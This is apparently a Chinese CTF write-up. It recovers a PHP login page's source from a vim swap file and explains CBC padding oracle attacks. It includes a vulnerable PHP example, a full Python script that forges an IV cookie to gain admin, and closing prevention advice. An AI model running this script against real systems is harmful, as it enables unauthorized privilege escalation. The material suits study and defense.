Writeup 参考文章:文章1 文章2
进入题目后可以知道这是一个博客系统,那猜测应该会有后台,扫一下目录或者猜一下可以知道存在login.php, admin.php两个文件,访问admin.php可以发现有权限控制,访问login.php是一个登录界面。
通过尝试可以发现如果随便输入账号密码的话页面返回是Login failed.,但是账号密码都输入admin的话会跳转到admin.php,猜测这里应该是弱口令,只是除了密码以外还有其他的验证方式。
如果扫描字典够强大的话可以扫到login.php, admin.php都存在备份文件:.login.php.swp, .admin.php.swp
下载备份文件.login.php.swp得到源码(可以用vim -r 恢复)得到源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 <?php error_reporting (0 );session_start ();define ("METHOD" , "aes-128-cbc" );include ('config.php' );function show_page ( ) { echo '省略' ; } function get_random_token ( ) { $random_token = '' ; $str = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890" ; for ($i = 0 ; $i < 16 ; $i ++){ $random_token .= substr ($str , rand (1 , 61 ), 1 ); } return $random_token ; } function get_identity ( ) { global $id ; $token = get_random_token (); $c = openssl_encrypt ($id , METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token ); $_SESSION ['id' ] = base64_encode ($c ); setcookie ("token" , base64_encode ($token )); if ($id === 'admin' ){ $_SESSION ['isadmin' ] = 1 ; }else { $_SESSION ['isadmin' ] = 0 ; } } function test_identity ( ) { if (isset ($_SESSION ['id' ])) { $c = base64_decode ($_SESSION ['id' ]); $token = base64_decode ($_COOKIE ["token" ]); if ($u = openssl_decrypt ($c , METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token )){ if ($u === 'admin' ) { $_SESSION ['isadmin' ] = 1 ; return 1 ; } }else { die ("Error!" ); } } return 0 ; } if (isset ($_POST ['username' ])&&isset ($_POST ['password' ])){ $username = mysql_real_escape_string ($_POST ['username' ]); $password = $_POST ['password' ]; $result = mysql_query ("select password from users where username='" . $username . "'" , $con ); $row = mysql_fetch_array ($result ); if ($row ['password' ] === md5 ($password )){ get_identity (); header ('location: ./admin.php' ); }else { die ('Login failed.' ); } }else { if (test_identity ()){ header ('location: ./admin.php' ); }else { show_page (); } } ?>
可以看到在session中也做了身份验证,但是由于加密模式是aes-128-cbc,且$token在cookie里,可控,所以这里可以进行Pading Oracle Attack,通过修改$token可以把$_SESSION[‘isadmin’]改为1,这样就成功登录进了admin.php。 因此可以用Pading Oracle Attack攻击
Pading Oracle Attack攻击 参考文章:链接
0x01 简介 Padding Oracle Attack是一种针对CBC模式分组加密算法的攻击。它可以在不知道密钥(key)的情况下,通过对padding bytes的尝试,还原明文,或者构造出任意明文的密文。
0x02 原理 在密码学中,分组加密(Block cipher),又称分块加密或块密码,是一种对称密钥算法。它将明文分成多个等长的模块(block),使用确定的算法和对称密钥对每组分别加密解密,block的大小常见的有64bit、128bit、256bit等。在分组加密的CBC模式中,每个明文块先与前一个密文块进行异或后,再进行加密。加密过程大致如下图所示:
在这个过程中,如果最后一个分组的消息长度没有达到block的大小,则需要填充一些字节,被称为padding。以16个字节一个block为例,如果明文是I_am_Bob,长度为八个字节,则剩下的八个字节被填充了0x08,0x08,0x08,0x08,0x08,0x08,0x08,0x08这八个相同的字节,每个字节的值等于需要填充的字节长度。
以aes-128-cbc加密模式为例,加密I_am_Bob的过程大致如下:
类似的,解密过程大致如下:
在解密完成后,如果最后的padding值不正确,解密程序往往会抛出异常(padding error)。而利用应用的错误回显,攻击者往往可以判断出padding是否正确,这就是Padding Oracle Attack的前提。
0x03 攻击 如果攻击者已知并可以控制IV的值,那么攻击者就可以进行Padding Oracle Attack。还是以I_am_Bob和aes-128-cbc加密模式为例。攻击者构造IV为16个0字节,那么此时在解密时的padding是不正确的。
正确的padding值只可能为:
1个字节的padding为0x01
2个字节的padding为0x02,0x02
3个字节的padding为0x03,0x03,0x03
4个字节的padding为0x04,0x04,0x04,0x04
……
因为慢慢调整IV的值,以希望解密后,最后一个字节的值为正确的padding byte,比如一个0x01。
因为middle是固定的(此时我们不知道middle的值),所以从0x00到0xFF之间,只可能有一个值与middle的最后一个字节异或后,结果是0x01。通过遍历这255个值,可以找出IV需要的最后一个字节。
此时根据异或的性质,使用0x5e和0x01进行异或就可以得到middle的最后一个值0x5f。
在正确匹配了padding “0x01” 后,需要做的是继续推导出剩下的middle。根据padding的标准,当需要padding两个字节时,其值应该为0x02,0x02。而我们已经知道了middle的最后一个字节为0x5f,因此可以更新IV的最后一个字节为0x5f^0x02=0x5d,此时可以开始遍历IV的倒数第二个字节。
由此可得middle的倒数第二个字节为0x3c^0x02=0x3e。以此类推,可以推导出所有的middle。
获得middle后,与原来的IV进行异或,便可得到明文。在这个过程中,仅仅用到了密文和IV,通过对padding的推导,即可还原出明文,而不需要知道密钥(key)是什么。而IV并不需要保密,它往往是以明文形式发送的。
而获得middle后,还可以通过改变IV,使密文解密为任意明文。根据异或的性质,有:
1 2 3 原明文 ^ 原IV = middle 新明文 ^ 新IV = middle ∴ 原明文 ^ 原IV ^ 新明文 = 新IV
故只要把原IV改为计算得到的新IV,就可使密文解密为任意明文。
0x04 实例 假设某网站的后端身份验证代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 <?php error_reporting (0 );define ("SECRET_KEY" , "******" ); define ("METHOD" , "aes-128-cbc" );session_start ();function get_random_token ( ) { $random_token = '' ; $str = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890" ; for ($i = 0 ; $i < 16 ; $i ++){ $random_token .= substr ($str , rand (1 , 61 ), 1 ); } return $random_token ; } function get_identity ( ) { $id = '***' ; $token = get_random_token (); $c = openssl_encrypt ($id , METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token ); $_SESSION ['id' ] = base64_encode ($c ); setcookie ("token" , base64_encode ($token )); $_SESSION ['isadmin' ] = false ; } function test_identity ( ) { if (isset ($_SESSION ['id' ])) { $c = base64_decode ($_SESSION ['id' ]); $token = base64_decode ($_COOKIE ["token" ]); if ($u = openssl_decrypt ($c , METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token )){ if ($u === 'admin' ) { $_SESSION ['isadmin' ] = true ; } }else echo "Error!" ; } } if (!isset ($_SESSION ['id' ])) get_identity (); test_identity ();if ($_SESSION ["isadmin" ]) echo "You are admin!" ; else echo "false" ; ?>
分析代码可知,该网站把用户的id用随机生成的token作为IV进行aes-128-cbc模式加密,并把加密后的id储存在session中,token储存在cookie中。而之后会把session中的id进行解密来验证用户是否为管理员。
在这种情况下,我们可以修改cookie中的token的值,也就是解密时的IV的值,那么就可以进行Padding Oracle Attack,从而获得管理员的身份。
具体的思路是:我们通过Padding Oracle Attack来获得aes-128-cbc加密中的middle的值,然后再修改token的值使其和middle进行xor后所得的值为admin,这样就能通过身份验证,获得管理员权限。
攻击脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 import requestsimport base64url = 'http://127.0.0.1/cbc.php' N = 16 def inject_token (token ): header = {"Cookie" : "PHPSESSID=" + phpsession + ";token=" + token} result = requests.post(url, headers = header) return result def xor (a, b ): return "" .join([chr (ord (a[i]) ^ ord (b[i % len (b)])) for i in xrange(len (a))]) def pad (string, N ): l = len (string) if l != N: return string + chr (N - l) * (N - l) def padding_oracle (N ): get = "" for i in xrange(1 , N+1 ): for j in xrange(0 , 256 ): padding = xor(get, chr (i) * (i-1 )) c = chr (0 ) * (16 -i) + chr (j) + padding result = inject_token(base64.b64encode(c)) if "Error!" not in result.content: get = chr (j ^ i) + get break return get while 1 : session = requests.get(url).headers['Set-Cookie' ].split(',' ) phpsession = session[0 ].split(";" )[0 ][10 :] print phpsession token = session[1 ][6 :].replace("%3D" , '=' ).replace("%2F" , '/' ).replace("%2B" , '+' ).decode('base64' ) middle1 = padding_oracle(N) print "\n" if (len (middle1) + 1 == 16 ): for i in xrange(0 , 256 ): middle = chr (i) + middle1 print "token:" + token print "middle:" + middle plaintext = xor(middle,token) print "plaintext:" + plaintext des = pad('admin' , N) tmp = "" print des.encode("base64" ) for i in xrange(16 ): tmp += chr (ord (token[i]) ^ ord (plaintext[i]) ^ ord (des[i])) print tmp.encode('base64' ) result = inject_token(base64.b64encode(tmp)) if "You are admin!" in result.content: print result.content print "success" exit()
在这个攻击脚本中需要注意是的middle的后十五位都可以通过Padding Oracle Attack正常的解出,但是在解第一位时按逻辑应该解出全为padding的plaintext(在这个环境下也就是16个0x10),即解密的结果为NULL。而在验证代码中的验证条件为
1 if($u = openssl_decrypt($c, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token)
所以在解第一位成功时为if(NULL),依然不满足if条件,无法进入验证成功逻辑,所以要对第一位进行爆破而不是Padding Oracle Attack。
最后攻击结果如图:
0x05预防 Padding Oracle Attack的关键在于:
1.攻击者能够获知并修改IV
2.攻击者能够获知解密的结果是否符合padding
那么在实现和使用CBC模式的分组加密算法时,只要注意这两点,只要其中任意一个条件不能满足,攻击者就无法实施攻击。